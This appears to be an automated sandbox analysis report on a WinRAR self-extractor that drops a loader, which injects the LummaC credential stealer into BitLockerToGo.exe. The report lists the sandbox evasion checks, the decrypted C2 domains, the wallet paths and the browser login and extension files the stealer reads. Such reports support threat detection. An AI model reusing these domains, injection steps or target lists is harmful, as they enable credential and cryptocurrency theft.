Source: HLZwUhcJ28.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG
Source: HLZwUhcJ28.exe	Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_IAT

Source: HLZwUhcJ28.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, GUARD_CF, TERMINAL_SERVER_AWARE

Source: HLZwUhcJ28.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_DEBUG

Source:	Binary string: r:\tinderbox\win-qt-5.15\out\qtbase\lib\Qt5SqlVBox.pdb00 source: Qt5SqlVBox.dll
Source:	Binary string: D:\tinderboxa\win-7.0\out\win.amd64\release\obj\VBoxClient-x86\VBoxClient-x86.pdb source: VBoxClient-x86.dll.0.dr
Source:	Binary string: BitLockerToGo.pdb source: Imperial_Delay.exe, 00000001.00000002.1881484672.000000000A700000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: r:\tinderbox\win-qt-5.15\out\qtbase\lib\Qt5GuiVBox.pdb source: Qt5GuiVBox.dll
Source:	Binary string: D:\tinderboxa\win-7.0\out\win.amd64\release\obj\VBoxClient-x86\VBoxClient-x86.pdb<<9 source: VBoxClient-x86.dll.0.dr
Source:	Binary string: BitLockerToGo.pdbGCTL source: Imperial_Delay.exe, 00000001.00000002.1881484672.000000000A700000.00000004.00001000.00020000.00000000.sdmp
Source:	Binary string: D:\Projects\WinRAR\sfx\build\sfxzip64\Release\sfxzip.pdb source: HLZwUhcJ28.exe
Source:	Binary string: R:\tinderbox\win-qt-5.15\out\qtbase\plugins\sqldrivers\qsqlite.pdb source: qsqlite.dll.0.dr
Source:	Binary string: r:\tinderbox\win-qt-5.15\out\qtbase\lib\Qt5SqlVBox.pdb source: Qt5SqlVBox.dll
Source:	Binary string: D:\tinderboxa\win-7.0\out\win.amd64\release\obj\VBoxProxyStub-x86\VBoxProxyStub-x86.pdb source: VBoxProxyStub-x86.dll.0.dr

Source: HLZwUhcJ28.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IMPORT is in: .rdata
Source: HLZwUhcJ28.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_RESOURCE is in: .rsrc
Source: HLZwUhcJ28.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_BASERELOC is in: .reloc
Source: HLZwUhcJ28.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG is in: .rdata
Source: HLZwUhcJ28.exe	Static PE information: Data directory: IMAGE_DIRECTORY_ENTRY_IAT is in: .rdata

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\__tmp_rar_sfx_access_check_6902359

Jump to behavior

Source: HLZwUhcJ28.exe	Static PE information: section name: .didat
Source: HLZwUhcJ28.exe	Static PE information: section name: _RDATA
Source: VBoxProxyStub-x86.dll.0.dr	Static PE information: section name: .orpc
Source: Imperial_Delay.exe.0.dr	Static PE information: section name: .symtab
Source: libiconv-2.dll.0.dr	Static PE information: section name: .xdata
Source: libidn2-0.dll.0.dr	Static PE information: section name: .xdata
Source: libintl-8.dll.0.dr	Static PE information: section name: .xdata
Source: qsqlite.dll.0.dr	Static PE information: section name: .qtmetad

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_0044CE5D push esp; retf

2_2_0044CE67

Source: initial sample	Static PE information: section name: UPX0
Source: initial sample	Static PE information: section name: UPX1

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\qsqlite.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Qt5GuiVBox.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\VBoxProxyStub-x86.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libintl-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\VBoxClient-x86.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Qt5SqlVBox.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libidn2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libiconv-2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Security-Common.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	File created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\cygwin1.dll	Jump to dropped file

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

File created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\cygwin1.dll

Jump to behavior

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Process information set: NOGPFAULTERRORBOX \| NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Query firmware table information (likely to detect VMs)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

System information queried: FirmwareTableInformation

Jump to behavior

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\qsqlite.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Qt5GuiVBox.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\VBoxProxyStub-x86.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libintl-8.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\VBoxClient-x86.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Qt5SqlVBox.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libidn2-0.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\libiconv-2.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\Security-Common.dll	Jump to dropped file
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Dropped PE file which has not been started: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay\cygwin1.dll	Jump to dropped file

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe TID: 1104

Thread sleep time: -30000s >= -30000s

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\CIMV2 : SELECT * FROM Win32_BIOS

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

File Volume queried: C:\ FullSizeInformation

Jump to behavior

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECEECE0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF70ECEECE0
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECD647C FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,	0_2_00007FF70ECD647C
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ED03130 FindFirstFileExA,	0_2_00007FF70ED03130

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

Code function: 0_2_00007FF70ECF5134 VirtualQuery,GetSystemInfo,

0_2_00007FF70ECF5134

Source: VBoxProxyStub-x86.dll.0.dr	Binary or memory string: 0JvPartitionType_VMWareUnknownW@
Source: VBoxProxyStub-x86.dll.0.dr	Binary or memory string: AdditionsFacilityType_VBoxGuestDriverWWW
Source: VBoxProxyStub-x86.dll.0.dr	Binary or memory string: !0R4AdditionsFacilityType_VBoxServiceWWW
Source: VBoxProxyStub-x86.dll.0.dr	Binary or memory string: PartitionType_VMWareVMFS@
Source: VBoxClient-x86.dll.0.dr, VBoxProxyStub-x86.dll.0.dr	Binary or memory string: AdditionsFacilityType_VBoxTrayClient
Source: VBoxProxyStub-x86.dll.0.dr	Binary or memory string: PartitionType_VMWareReserved@
Source: VBoxProxyStub-x86.dll.0.dr	Binary or memory string: aVmNetTx
Source: Qt5GuiVBox.dll	Binary or memory string: .?AVQEmulationPaintEngine@@H
Source: VBoxProxyStub-x86.dll.0.dr	Binary or memory string: aVmNetRx
Source: BitLockerToGo.exe, 00000002.00000002.2038770877.0000000002CAD000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2038770877.0000000002C6D000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: VBoxProxyStub-x86.dll.0.dr	Binary or memory string: PartitionType_VMWareVMKCoreW@
Source: Imperial_Delay.exe, 00000001.00000002.1878293373.00000000005FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dll
Source: Qt5GuiVBox.dll	Binary or memory string: .?AVQEmulationPaintEngine@@

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Code function: 2_2_004442C0 LdrInitializeThunk,

2_2_004442C0

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

Code function: 0_2_00007FF70ECFAC68 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

0_2_00007FF70ECFAC68

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

Code function: 0_2_00007FF70ED041B0 GetProcessHeap,

0_2_00007FF70ED041B0

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECF6B24 SetUnhandledExceptionFilter,	0_2_00007FF70ECF6B24
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECF5CE0 SetUnhandledExceptionFilter,UnhandledExceptionFilter,GetCurrentProcess,TerminateProcess,	0_2_00007FF70ECF5CE0
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECFAC68 RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF70ECFAC68
Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Code function: 0_2_00007FF70ECF6940 IsProcessorFeaturePresent,RtlCaptureContext,RtlLookupFunctionEntry,RtlVirtualUnwind,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,	0_2_00007FF70ECF6940

HIPS / PFW / Operating System Protection Evasion

Allocates memory in foreign processes

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe

Memory allocated: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 protect: page execute and read and write

Jump to behavior

Injects a PE file into a foreign processes

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe

Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000 value starts with: 4D5A

Jump to behavior

LummaC encrypted strings found

Source: Imperial_Delay.exe, 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: snailyeductyi.sbs
Source: Imperial_Delay.exe, 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: ferrycheatyk.sbs
Source: Imperial_Delay.exe, 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: deepymouthi.sbs
Source: Imperial_Delay.exe, 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: wrigglesight.sbs
Source: Imperial_Delay.exe, 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: captaitwik.sbs
Source: Imperial_Delay.exe, 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: sidercotay.sbs
Source: Imperial_Delay.exe, 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: heroicmint.sbs
Source: Imperial_Delay.exe, 00000001.00000002.1881617580.000000000A8E0000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: monstourtu.sbs

Writes to foreign memory regions

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 2867008	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 400000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 401000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 449000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 44C000	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Memory written: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe base: 45C000	Jump to behavior

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

Code function: 0_2_00007FF70ECEECE0 EndDialog,SetDlgItemTextW,GetMessageW,IsDialogMessageW,TranslateMessage,DispatchMessageW,EndDialog,GetDlgItem,SendMessageW,SendMessageW,SetFocus,GetLastError,GetLastError,GetTickCount,GetLastError,GetCommandLineW,CreateFileMappingW,MapViewOfFile,ShellExecuteExW,WaitForInputIdle,Sleep,UnmapViewOfFile,CloseHandle,SetDlgItemTextW,SetWindowTextW,SetDlgItemTextW,SetWindowTextW,GetDlgItem,GetWindowLongPtrW,SetWindowLongPtrW,SetDlgItemTextW,SendMessageW,SendDlgItemMessageW,GetDlgItem,SendMessageW,GetDlgItem,SetDlgItemTextW,SetDlgItemTextW,DialogBoxParamW,EndDialog,EnableWindow,SendMessageW,SetDlgItemTextW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SendDlgItemMessageW,FindFirstFileW,FindClose,SendDlgItemMessageW,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF70ECEECE0

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe	Process created: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe "C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe"			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Process created: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe "C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe"			Jump to behavior

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

Code function: 0_2_00007FF70ED08DF0 cpuid

0_2_00007FF70ED08DF0

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

Code function: GetLocaleInfoW,GetNumberFormatW,

0_2_00007FF70ECEDE44

Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\Imperial_Delay.exe	Queries volume information: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe VolumeInformation	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

Code function: 0_2_00007FF70ECF400C GetCommandLineW,OpenFileMappingW,MapViewOfFile,UnmapViewOfFile,MapViewOfFile,UnmapViewOfFile,CloseHandle,SetEnvironmentVariableW,GetLocalTime,swprintf,SetEnvironmentVariableW,GetModuleHandleW,LoadIconW,DialogBoxParamW,Sleep,DeleteObject,DeleteObject,CloseHandle,OleUninitialize,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,_invalid_parameter_noinfo_noreturn,

0_2_00007FF70ECF400C

Source: C:\Users\user\Desktop\HLZwUhcJ28.exe

Code function: 0_2_00007FF70ECD6768 GetVersionExW,

0_2_00007FF70ECD6768

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Source: BitLockerToGo.exe, 00000002.00000003.2023225773.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000003.2022709028.0000000002D1D000.00000004.00000020.00020000.00000000.sdmp, BitLockerToGo.exe, 00000002.00000002.2038770877.0000000002C9A000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe

WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected LummaC Stealer

Source: Yara match	File source: decrypted.memstr, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: BitLockerToGo.exe PID: 2676, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Found many strings related to Crypto-Wallets (likely being stolen)

Source: BitLockerToGo.exe, 00000002.00000003.2023225773.0000000002D1F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: s/Electrum-LTC
Source: BitLockerToGo.exe, 00000002.00000003.2029618149.0000000002CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/ElectronCash
Source: BitLockerToGo.exe, 00000002.00000003.2009812823.0000000002D19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Jaxx Liberty
Source: BitLockerToGo.exe, 00000002.00000003.2029618149.0000000002CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: window-state.json
Source: BitLockerToGo.exe, 00000002.00000003.2010145588.0000000002CBA000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Exodus\exodus.wallet
Source: BitLockerToGo.exe, 00000002.00000003.2009812823.0000000002D19000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: Wallets/Exodus
Source: BitLockerToGo.exe, 00000002.00000003.2029618149.0000000002CBC000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %appdata%\Ethereum
Source: BitLockerToGo.exe, 00000002.00000003.1951968090.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: BitLockerToGo.exe, 00000002.00000003.1951968090.0000000002D0F000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: keystore

Tries to harvest and steal browser information (history, passwords, etc)

Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fqs92o4p.default-release\key4.db	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc	Jump to behavior
Source: C:\Windows\BitLockerDiscoveryVolumeContents\BitLockerToGo.exe	File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg	Jump to behavior
